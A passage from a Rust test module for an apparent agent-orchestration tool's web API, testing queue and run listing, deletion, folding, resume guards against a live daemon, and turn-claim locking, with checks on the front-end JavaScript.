20632 .unwrap()
20633 .0,
20634 )
20635 .unwrap();
20636 assert!(
20637 old.as_array().unwrap().is_empty(),
20638 "older updates must not enter the window"
20639 );
20640 let newest = serde_json::to_value(
20641 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20642 .await
20643 .unwrap()
20644 .0,
20645 )
20646 .unwrap();
20647 assert_eq!(newest.as_array().unwrap().len(), 1);
20648 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20649
20650 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20651 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20652 let talks = serde_json::to_value(
20653 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20654 .await
20655 .unwrap()
20656 .0,
20657 )
20658 .unwrap();
20659 assert_eq!(talks.as_array().unwrap().len(), 1);
20660 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20661 assert_eq!(
20662 serde_json::to_value(
20663 talks_list(State(ui.clone()), query(Some("")))
20664 .await
20665 .unwrap()
20666 .0
20667 )
20668 .unwrap(),
20669 serde_json::json!([])
20670 );
20671 }
20672
20673 #[tokio::test]
20674 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20675 async fn delta_payload_benchmark() {
20676 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20677 let ui = delta_test_ui(&home);
20678 let query = |ids: Option<String>| {
20679 Query(ListQuery {
20680 limit: Some(50),
20681 ids,
20682 })
20683 };
20684 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20685 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20686 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20687 let queue_id = queue
20688 .iter()
20689 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20690 .unwrap_or(&queue[0])
20691 .task
20692 .id
20693 .clone();
20694 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20695 .await
20696 .unwrap()
20697 .0;
20698 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20699 .await
20700 .unwrap()
20701 .0;
20702 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20703 .await
20704 .unwrap()
20705 .0;
20706 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20707 eprintln!(
20708 "DELTA_PAYLOAD {}",
20709 serde_json::json!({
20710 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20711 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20712 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20713 "counts": [queue.len(), runs.len(), talks.len()],
20714 "blocked": queue_delta.len() - 1,
20715 })
20716 );
20717 }
20718
20719 #[test]
20720 fn runs_revision_moves_when_deleting_an_older_run() {
20721 let temp = TempDir::new().expect("tempdir");
20722 let runs = temp.path().join("runs");
20723 std::fs::create_dir_all(&runs).expect("create runs dir");
20724
20725 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20726
20727 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20728 std::thread::sleep(Duration::from_millis(10));
20729 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20730
20731 let rev_before = runs_revision(&runs);
20732 assert!(rev_before > 0);
20733
20734 let old_dir = runs.join("20260901-100000-old1");
20735 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20736
20737 let rev_after = runs_revision(&runs);
20738 assert_ne!(
20739 rev_before, rev_after,
20740 "deleting an older run must change the revision so other clients see the deletion"
20741 );
20742 }
20743
20744 fn write_state(runs: &FsPath, state: &RunState) {
20749 let dir = runs.join(&state.id);
20750 std::fs::create_dir_all(&dir).expect("run dir");
20751 std::fs::write(
20752 dir.join("run.json"),
20753 serde_json::to_string_pretty(state).expect("serialize run"),
20754 )
20755 .expect("write run.json");
20756 }
20757
20758 #[test]
20763 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20764 let temp = TempDir::new().expect("tempdir");
20765 let runs = temp.path().join("runs");
20766 std::fs::create_dir_all(&runs).expect("create runs dir");
20767 let mut state = RunState::new(
20768 PathBuf::from("/repo/magi"),
20769 "main".to_owned(),
20770 "0123456789abcdef".to_owned(),
20771 "task".to_owned(),
20772 Config::default(),
20773 );
20774 state.id = "20260902-100000-c0de".to_owned();
20775 write_state(&runs, &state);
20776
20777 let rev_idle = runs_revision(&runs);
20778 std::thread::sleep(Duration::from_millis(10));
20779 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20780 write_state(&runs, &state);
20781 let rev_started = runs_revision(&runs);
20782 assert_ne!(
20783 rev_idle, rev_started,
20784 "a seat starting must move the revision"
20785 );
20786
20787 std::thread::sleep(Duration::from_millis(10));
20788 state.seat_finished("judge-1");
20789 write_state(&runs, &state);
20790 let rev_finished = runs_revision(&runs);
20791 assert_ne!(
20792 rev_started, rev_finished,
20793 "and clearing it again must move the revision a second time"
20794 );
20795 }
20796
20797 #[tokio::test]
20798 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20799 let fx = Fixture::start().await;
20804 let q = fx.queue();
20805
20806 let mut t = Task::new(
20807 "Task".to_owned(),
20808 "Instruction".to_owned(),
20809 PathBuf::from("/repo"),
20810 Source::Human,
20811 );
20812 t.block(
20813 vec!["20260101-000000-dead".to_owned()],
20814 Some("waiting on Task 1".to_owned()),
20815 );
20816 t.answers.push(crate::queue::AnsweredQuestion {
20817 question: "Which backend?".to_owned(),
20818 answer: "SQLite".to_owned(),
20819 });
20820 q.put(&mut t).expect("put t");
20821
20822 let res = fx.get("/api/queue").await;
20823 assert_eq!(res.status, 200);
20824 let list = res.json();
20825 let view = list
20826 .as_array()
20827 .expect("array")
20828 .iter()
20829 .find(|v| v["id"] == t.id)
20830 .expect("task in list");
20831 assert_eq!(view["status_str"], "blocked");
20832 assert_eq!(
20833 view["blocked_by"],
20834 serde_json::json!(["20260101-000000-dead"])
20835 );
20836 assert_eq!(view["block_reason"], "waiting on Task 1");
20837 assert_eq!(view["answers"][0]["question"], "Which backend?");
20838 assert_eq!(view["answers"][0]["answer"], "SQLite");
20839
20840 let res = fx
20844 .post(&format!("/api/queue/{}/hold", t.short()), None)
20845 .await;
20846 assert_eq!(res.status, 200);
20847 let held = res.json();
20848 assert_eq!(held["status_str"], "held");
20849 assert_eq!(held["blocked_by"], serde_json::json!([]));
20850 assert!(held["block_reason"].is_null());
20851 assert_eq!(held["answers"][0]["answer"], "SQLite");
20852 }
20853
20854 #[tokio::test]
20855 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20856 let fx = Fixture::start().await;
20857 let q = fx.queue();
20858 let mk = |title: &str| {
20859 Task::new(
20860 title.to_owned(),
20861 "Instruction".to_owned(),
20862 PathBuf::from("/repo"),
20863 Source::Human,
20864 )
20865 };
20866 let mut root = mk("root");
20867 root.hold_manual(Some("waiting".to_owned()));
20868 q.put(&mut root).unwrap();
20869 let mut mid = mk("mid");
20870 mid.block(vec![root.id.clone()], None);
20871 q.put(&mut mid).unwrap();
20872 let mut leaf = mk("leaf");
20873 leaf.block(vec![mid.id.clone()], None);
20874 q.put(&mut leaf).unwrap();
20875
20876 let list = fx.get("/api/queue").await.json();
20877 let find = |id: &str| {
20878 list.as_array()
20879 .unwrap()
20880 .iter()
20881 .find(|v| v["id"] == id)
20882 .unwrap()
20883 .clone()
20884 };
20885 let leaf_view = find(&leaf.id);
20886 assert_eq!(
20887 leaf_view["waits_on"],
20888 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20889 );
20890 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20891 assert_eq!(
20892 find(&mid.id)["waits_on"],
20893 serde_json::json!([format!("{} (held)", root.short())])
20894 );
20895 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20896 }
20897
20898 #[tokio::test]
20899 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20900 let fx = Fixture::start().await;
20901 let q = fx.queue();
20902
20903 let mut t1 = Task::new(
20905 "Task 1".to_owned(),
20906 "Instruction 1".to_owned(),
20907 PathBuf::from("/repo"),
20908 Source::Human,
20909 );
20910 let run_id = "20260901-000000-r111";
20911 t1.runs.push(run_id.to_owned());
20912 write_run(&fx.runs(), run_id, RunStatus::Merged);
20913 q.put(&mut t1).expect("put t1");
20914
20915 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20917 assert_eq!(res.status, 204);
20918 assert!(res.body.is_empty(), "204 No Content has no body");
20919 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20920 assert!(
20921 fx.runs().join(run_id).exists(),
20922 "run directory must not be deleted when its task is deleted"
20923 );
20924
20925 let mut t2 = Task::new(
20927 "Task 2".to_owned(),
20928 "Instruction 2".to_owned(),
20929 PathBuf::from("/repo"),
20930 Source::Human,
20931 );
20932 t2.status = TaskStatus::Running;
20933 q.put(&mut t2).expect("put t2");
20934 let mut beat = crate::daemon::Status::new();
20935 beat.current = vec![crate::daemon::Current {
20936 task: t2.id.clone(),
20937 run: "20260901-000000-r222".to_owned(),
20938 }];
20939 beat.updated_at = jiff::Timestamp::now();
20940 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20941 .expect("publish a heartbeat");
20942 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20943 assert_eq!(res.status, 409);
20944 assert!(
20945 res.json()["error"]
20946 .as_str()
20947 .unwrap()
20948 .contains("live daemon")
20949 );
20950 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20951
20952 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20958 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20959 .expect("leave a stale heartbeat");
20960 let mut t3 = Task::new(
20961 "Task 3".to_owned(),
20962 "Instruction 3".to_owned(),
20963 PathBuf::from("/repo"),
20964 Source::Human,
20965 );
20966 t3.status = TaskStatus::Running;
20967 q.put(&mut t3).expect("put t3");
20968 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20969 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20970 assert_eq!(res.status, 204);
20971 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20972 assert!(
20973 q.claim(&t3.id).is_ok(),
20974 "the stale lock went with it, so the id is claimable again"
20975 );
20976
20977 let res = fx.delete("/api/queue/nonexistent").await;
20979 assert_eq!(res.status, 404);
20980 }
20981
20982 #[tokio::test]
20983 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20984 let fx = Fixture::start().await;
20985 let runs = fx.runs();
20986
20987 let run_id = "20260901-000000-fold";
20989 let mut state = RunState::new(
20990 PathBuf::from("/repo"),
20991 "main".to_owned(),
20992 "abc".to_owned(),
20993 "instruction".to_owned(),
20994 Config::default(),
20995 );
20996 state.id = run_id.to_owned();
20997 state.status = RunStatus::Merged;
20998 state.candidates.push(crate::run::Candidate {
20999 index: 0,
21000 label: 'A',
21001 agent: "a".to_owned(),
21002 branch: "b".to_owned(),
21003 worktree: PathBuf::from("/w"),
21004 summary: String::new(),
21005 stat: String::new(),
21006 files: 1,
21007 commits: 1,
21008 empty: false,
21009 failed: None,
21010 verified_noop: None,
21011 duration_ms: 0,
21012 folded: true,
21013 });
21014 let dir = runs.join(run_id);
21015 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21016 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21017 .expect("write artifact");
21018 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21019 .expect("write run.json");
21020
21021 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21023 assert_eq!(res.status, 204);
21024 assert!(res.body.is_empty(), "204 has no body");
21025 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21026
21027 let run_running = "20260901-000000-rung";
21032 write_run(&runs, run_running, RunStatus::Prep);
21033 let mut beat = crate::daemon::Status::new();
21034 beat.current = vec![crate::daemon::Current {
21035 task: "20260901-000000-task".to_owned(),
21036 run: run_running.to_owned(),
21037 }];
21038 beat.updated_at = jiff::Timestamp::now();
21039 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21040 .expect("publish a heartbeat");
21041 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21042 assert_eq!(res.status, 409);
21043 assert!(
21044 res.json()["error"]
21045 .as_str()
21046 .unwrap()
21047 .contains("live daemon"),
21048 "the refusal must say who is holding it"
21049 );
21050 assert!(
21051 runs.join(run_running).exists(),
21052 "a run in flight keeps its directory"
21053 );
21054
21055 let run_unfolded = "20260901-000000-unfd";
21057 let mut state2 = RunState::new(
21058 PathBuf::from("/repo"),
21059 "main".to_owned(),
21060 "abc".to_owned(),
21061 "instruction".to_owned(),
21062 Config::default(),
21063 );
21064 state2.id = run_unfolded.to_owned();
21065 state2.status = RunStatus::Ready;
21066 state2.candidates.push(crate::run::Candidate {
21067 index: 0,
21068 label: 'A',
21069 agent: "a".to_owned(),
21070 branch: "b".to_owned(),
21071 worktree: PathBuf::from("/w"),
21072 summary: String::new(),
21073 stat: String::new(),
21074 files: 1,
21075 commits: 1,
21076 empty: false,
21077 failed: None,
21078 verified_noop: None,
21079 duration_ms: 0,
21080 folded: false,
21081 });
21082 let dir2 = runs.join(run_unfolded);
21083 std::fs::create_dir_all(&dir2).expect("create dir2");
21084 std::fs::write(
21085 dir2.join("run.json"),
21086 serde_json::to_string(&state2).unwrap(),
21087 )
21088 .expect("write run.json");
21089
21090 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21091 assert_eq!(res.status, 409);
21092 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21093 assert!(dir2.exists(), "unfolded run directory is kept");
21094
21095 let res = fx.delete("/api/runs/nonexistent").await;
21097 assert_eq!(res.status, 404);
21098 }
21099
21100 #[test]
21109 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21110 let start = APP_JS
21111 .find("function renderStats() {")
21112 .expect("renderStats");
21113 let end = start
21114 + APP_JS[start..]
21115 .find("function statsTile(")
21116 .expect("the next top-level function");
21117 let body = &APP_JS[start..end];
21118
21119 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21120 let gate_end = gate_start
21121 + body[gate_start..]
21122 .find("}\n renderStatsQueue")
21123 .expect("the gate's own closing brace, right before the unconditional call");
21124 let gated = &body[gate_start..gate_end];
21125
21126 assert_eq!(
21127 body.matches("renderStatsQueue(").count(),
21128 1,
21129 "renderStats must call renderStatsQueue exactly once: {body}"
21130 );
21131 assert!(
21132 !gated.contains("renderStatsQueue"),
21133 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21134 run-derived panels on an empty run history - the queue panel has to render \
21135 regardless: {gated}"
21136 );
21137 }
21138
21139 #[test]
21140 fn web_ui_delete_contract_in_front_end() {
21141 assert!(APP_JS.contains("deleteRun:"));
21143 assert!(APP_JS.contains("deleteTask:"));
21144
21145 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21147 ..APP_JS.find("function renderRuns").unwrap()];
21148 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21149
21150 assert!(APP_JS.contains("renderRunDelete"));
21152 assert!(APP_JS.contains("runDeleteReason"));
21153 assert!(APP_JS.contains("magi fold"));
21154 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21155
21156 assert!(APP_JS.contains("cancel.focus"));
21158 assert!(APP_JS.contains("armedRunDelete"));
21159 assert!(APP_JS.contains("renderTaskDeleteBox"));
21160 assert!(APP_JS.contains("armed${cap(key)}"));
21161
21162 assert!(APP_JS.contains("disabled: status === \"running\""));
21164 }
21165
21166 #[test]
21186 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21187 let build = APP_JS
21188 .find("function createRunCard")
21189 .expect("createRunCard exists");
21190 let update = APP_JS
21191 .find("function updateRunCard")
21192 .expect("updateRunCard exists");
21193 let end = APP_JS
21194 .find("function renderRuns")
21195 .expect("renderRuns exists");
21196
21197 let builder = &APP_JS[build..update];
21199 let open = builder.find("refs = {").expect("createRunCard sets refs");
21200 let literal = &builder[open + "refs = {".len()..];
21201 let close = literal.find('}').expect("the refs literal is closed");
21202 let published: HashSet<&str> = literal[..close]
21203 .split(',')
21204 .filter_map(|entry| entry.split(':').next())
21206 .map(str::trim)
21207 .filter(|name| !name.is_empty())
21208 .collect();
21209 assert!(
21210 published.len() > 5,
21211 "the refs literal did not parse into names: {published:?}"
21212 );
21213
21214 let mut used: Vec<&str> = Vec::new();
21217 let updaters = &APP_JS[update..end];
21218 for (at, _) in updaters.match_indices("r.") {
21219 let before = updaters[..at].chars().next_back();
21222 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21223 continue;
21224 }
21225 let rest = &updaters[at + 2..];
21226 let len = rest
21227 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21228 .unwrap_or(rest.len());
21229 if len > 0 {
21230 used.push(&rest[..len]);
21231 }
21232 }
21233 assert!(
21234 used.len() > 5,
21235 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21236 );
21237
21238 let missing: Vec<&str> = used
21239 .iter()
21240 .copied()
21241 .filter(|name| !published.contains(name))
21242 .collect();
21243 assert!(
21244 missing.is_empty(),
21245 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21246 never put in `refs` - every card will throw and the list will \
21247 render empty under a count line that says otherwise. Published: \
21248 {published:?}"
21249 );
21250 }
21251
21252 #[tokio::test]
21253 async fn folding_from_the_phone_reports_what_it_removed() {
21254 let fx = Fixture::start().await;
21255 let runs = fx.runs();
21256
21257 let id = "20260901-000000-fold";
21261 write_run(&runs, id, RunStatus::Stalled);
21262 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21263 assert_eq!(res.status, 200);
21264 assert_eq!(res.json()["removed_count"], 0);
21265 assert_eq!(res.json()["run"], id);
21266 assert!(
21267 runs.join(id).exists(),
21268 "a fold keeps the run's record; only the worktrees go"
21269 );
21270 }
21271
21272 #[tokio::test]
21273 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21274 let fx = Fixture::start().await;
21275 let runs = fx.runs();
21276 let wt = fx.home.path().join("wt").join("magi").join("dead");
21277 let id = "20260901-000000-dead";
21278 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21279 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21280 std::fs::create_dir_all(&wt).expect("worktree dir");
21281
21282 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21283 assert_eq!(res.status, 200, "{}", res.body);
21284 assert!(
21285 res.json()["removed_count"].as_u64().unwrap() > 0,
21286 "the worktree this build could not read a state for still went"
21287 );
21288 assert!(
21289 !runs.join(id).exists(),
21290 "an unreadable run has no candidate list to fold selectively, so \
21291 the whole record goes - same as `magi fold` on the CLI"
21292 );
21293 }
21294
21295 #[tokio::test]
21296 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21297 let fx = Fixture::start().await;
21298 let runs = fx.runs();
21299 let wt = fx.home.path().join("wt").join("magi").join("gone");
21300 let id = "20260901-000000-gone";
21301 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21302 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21303 std::fs::create_dir_all(&wt).expect("worktree dir");
21304
21305 let res = fx.delete(&format!("/api/runs/{id}")).await;
21306 assert_eq!(res.status, 204, "{}", res.body);
21307 assert!(!runs.join(id).exists(), "the broken record is gone");
21308 assert!(!wt.exists(), "its worktree is gone too");
21309 }
21310
21311 #[tokio::test]
21312 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21313 let fx = Fixture::start().await;
21314 let runs = fx.runs();
21315 let id = "20260901-000000-live";
21316 write_run(&runs, id, RunStatus::Implementing);
21317
21318 let mut beat = crate::daemon::Status::new();
21319 beat.current = vec![crate::daemon::Current {
21320 task: "20260901-000000-task".to_owned(),
21321 run: id.to_owned(),
21322 }];
21323 beat.updated_at = jiff::Timestamp::now();
21324 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21325 .expect("publish a heartbeat");
21326
21327 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21328 assert_eq!(res.status, 409);
21329 assert!(
21330 res.json()["error"]
21331 .as_str()
21332 .unwrap()
21333 .contains("live daemon"),
21334 "folding under a running agent would pull its worktree away"
21335 );
21336 }
21337
21338 #[tokio::test]
21339 async fn fold_merged_requires_a_pr_url() {
21340 let fx = Fixture::start().await;
21341 let runs = fx.runs();
21342 let id = "20260901-000000-nourl";
21343 write_run(&runs, id, RunStatus::Blocked);
21344
21345 let res = fx
21346 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21347 .await;
21348 assert_eq!(res.status, 400, "{}", res.body);
21349
21350 let blank = fx
21351 .post(
21352 &format!("/api/runs/{id}/fold-merged"),
21353 Some(r#"{"pr_url":" "}"#),
21354 )
21355 .await;
21356 assert_eq!(blank.status, 400, "{}", blank.body);
21357 }
21358
21359 #[tokio::test]
21360 async fn fold_merged_is_404_for_an_unknown_run() {
21361 let fx = Fixture::start().await;
21362 let res = fx
21363 .post(
21364 "/api/runs/nosuchrun/fold-merged",
21365 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21366 )
21367 .await;
21368 assert_eq!(res.status, 404, "{}", res.body);
21369 }
21370
21371 #[tokio::test]
21372 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21373 let fx = Fixture::start().await;
21374 let runs = fx.runs();
21375 let id = "20260901-000000-livemerge";
21376 write_run(&runs, id, RunStatus::Blocked);
21377
21378 let mut beat = crate::daemon::Status::new();
21379 beat.current = vec![crate::daemon::Current {
21380 task: "20260901-000000-task".to_owned(),
21381 run: id.to_owned(),
21382 }];
21383 beat.updated_at = jiff::Timestamp::now();
21384 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21385 .expect("publish a heartbeat");
21386
21387 let res = fx
21388 .post(
21389 &format!("/api/runs/{id}/fold-merged"),
21390 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21391 )
21392 .await;
21393 assert_eq!(res.status, 409, "{}", res.body);
21394 assert!(
21395 res.json()["error"]
21396 .as_str()
21397 .unwrap()
21398 .contains("live daemon"),
21399 "correcting a run's merge underneath a running agent would race \
21400 whatever it is doing to the same `status`/`merge` fields"
21401 );
21402 }
21403
21404 #[tokio::test]
21409 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21410 let fx = Fixture::start().await;
21411 let runs = fx.runs();
21412 let id = "20260901-000000-unconfirmed";
21413 write_run(&runs, id, RunStatus::Blocked);
21414
21415 let res = fx
21416 .post(
21417 &format!("/api/runs/{id}/fold-merged"),
21418 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21419 )
21420 .await;
21421 assert_eq!(res.status, 400, "{}", res.body);
21422 assert_eq!(
21423 read_run(&runs, id).unwrap().status,
21424 RunStatus::Blocked,
21425 "a pull request that could not be confirmed merged must leave \
21426 the run exactly where it was"
21427 );
21428 }
21429
21430 #[tokio::test]
21431 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21432 let fx = Fixture::start().await;
21433 let runs = fx.runs();
21434
21435 for (status, word) in [
21441 (RunStatus::Merged, "merged"),
21442 (RunStatus::Ready, "ready"),
21443 (RunStatus::Failed, "failed"),
21444 ] {
21445 let id = format!("20260901-000000-{}", &word[..4]);
21446 write_run(&runs, &id, status);
21447 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21448 assert_eq!(res.status, 409, "{word} must not be resumable");
21449 let err = res.json()["error"].as_str().unwrap().to_owned();
21450 assert!(err.contains(word), "the refusal names the status: {err}");
21451 }
21452
21453 let mid = "20260901-000000-midf";
21458 write_run(&runs, mid, RunStatus::Reviewing);
21459 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21460 assert_eq!(res.status, 202, "an interrupted run is resumable");
21461 }
21462
21463 #[tokio::test]
21464 async fn resume_is_refused_while_the_loop_is_running() {
21465 let fx = Fixture::start().await;
21466 let runs = fx.runs();
21467 let stalled = "20260901-000000-stal";
21468 write_run(&runs, stalled, RunStatus::Stalled);
21469
21470 let mut beat = crate::daemon::Status::new();
21474 beat.current = vec![crate::daemon::Current {
21475 task: "20260901-000000-task".to_owned(),
21476 run: "20260901-000000-othr".to_owned(),
21477 }];
21478 beat.updated_at = jiff::Timestamp::now();
21479 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21480 .expect("publish a heartbeat");
21481
21482 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21483 assert_eq!(res.status, 409);
21484 let err = res.json()["error"].as_str().unwrap().to_owned();
21485 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21486 assert!(err.contains("stop it first"), "{err}");
21487 }
21488
21489 #[test]
21490 fn a_run_cannot_be_resumed_twice_at_once() {
21491 let home = TempDir::new().expect("temp home");
21492 let ui = Ui::new(
21493 Queue::at(home.path().join("queue")),
21494 Questions::at(home.path().join("questions")),
21495 Talks::at(home.path().join("talks")),
21496 home.path().join("runs"),
21497 home.path().to_path_buf(),
21498 PathBuf::from("/repo"),
21499 )
21500 .with_worktrees_root(home.path().join("wt"));
21501 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21502 let again = ui.begin_resume("20260901-000000-once");
21503 assert!(again.is_err(), "a second tap must not start a second graph");
21504 drop(first);
21505 assert!(
21506 ui.begin_resume("20260901-000000-once").is_ok(),
21507 "and the claim is released when the attempt ends"
21508 );
21509 }
21510
21511 #[test]
21512 fn talk_thinking_tracks_only_its_held_turn_claim() {
21513 let home = TempDir::new().expect("temp home");
21514 let ui = Ui::new(
21515 Queue::at(home.path().join("queue")),
21516 Questions::at(home.path().join("questions")),
21517 Talks::at(home.path().join("talks")),
21518 home.path().join("runs"),
21519 home.path().to_path_buf(),
21520 PathBuf::from("/repo"),
21521 )
21522 .with_worktrees_root(home.path().join("wt"));
21523 let id = "20260901-000000-once";
21524
21525 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21526 let turn = ui.begin_talk_turn(id).expect("claim turn");
21527 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21528 assert!(
21529 !ui.is_thinking("20260901-000000-other"),
21530 "one talk's turn does not make another talk busy"
21531 );
21532 drop(turn);
21533 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21534 }
21535
21536 #[test]
21537 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21538 let home = TempDir::new().expect("temp home");
21539 let talks = Talks::at(home.path().join("talks"));
21540 let ui = Ui::new(
21541 Queue::at(home.path().join("queue")),
21542 Questions::at(home.path().join("questions")),
21543 talks.clone(),
21544 home.path().join("runs"),
21545 home.path().to_path_buf(),
21546 PathBuf::from("/repo"),
21547 )
21548 .with_worktrees_root(home.path().join("wt"));
21549 let id = "20260901-000000-cross";
21550
21551 let other = Talks::at(home.path().join("talks"))
21552 .claim_turn(id)
21553 .expect("claim")
21554 .expect("the other process wins");
21555 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21556 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21557 assert!(
21558 matches!(
21559 ui.begin_talk_turn_unless_pending(id).expect("start"),
21560 TalkTurnStart::Foreign
21561 ),
21562 "a foreign holder is refused, not queued behind"
21563 );
21564 assert!(
21565 !ui.talk_turns.lock().unwrap().live.contains(id),
21566 "a refused claim leaves no in-process entry behind"
21567 );
21568 drop(other);
21569 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21570 assert!(talks.turn_held(id), "the web turn holds the lease");
21571 drop(turn);
21572 assert!(
21573 !talks.turn_held(id),
21574 "dropping the guard releases the lease"
21575 );
21576 }
21577
21578 fn consult_question(ui: &Ui) -> Question {
21579 let mut q = Question::new(
21580 "20260901-000000-consult".to_owned(),
21581 "implement".to_owned(),
21582 "impl-A".to_owned(),
21583 "Which backend?".to_owned(),
21584 String::new(),
21585 vec!["SQLite".to_owned(), "Redis".to_owned()],
21586 );
21587 ui.questions.put(&mut q).expect("question");
21588 q
21589 }
21590
21591 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21592 (
21593 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21594 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21595 )
21596 }
21597
21598 #[tokio::test]
21599 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21600 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21601 let q = consult_question(&ui);
21602 let talk = ui.talks.get(&id).expect("talk");
21603 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21604 let before = consult_snapshot(&ui, &q, &id);
21605 let cli_talks = Talks::at(ui.home.join("talks"));
21606 assert_eq!(
21607 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21608 .await
21609 .expect("CLI starter"),
21610 crate::consult::Started::Busy
21611 );
21612 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21613 assert!(ui.is_thinking(&id));
21614 drop(guard);
21615 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21616 }
21617
21618 #[tokio::test]
21619 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21620 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
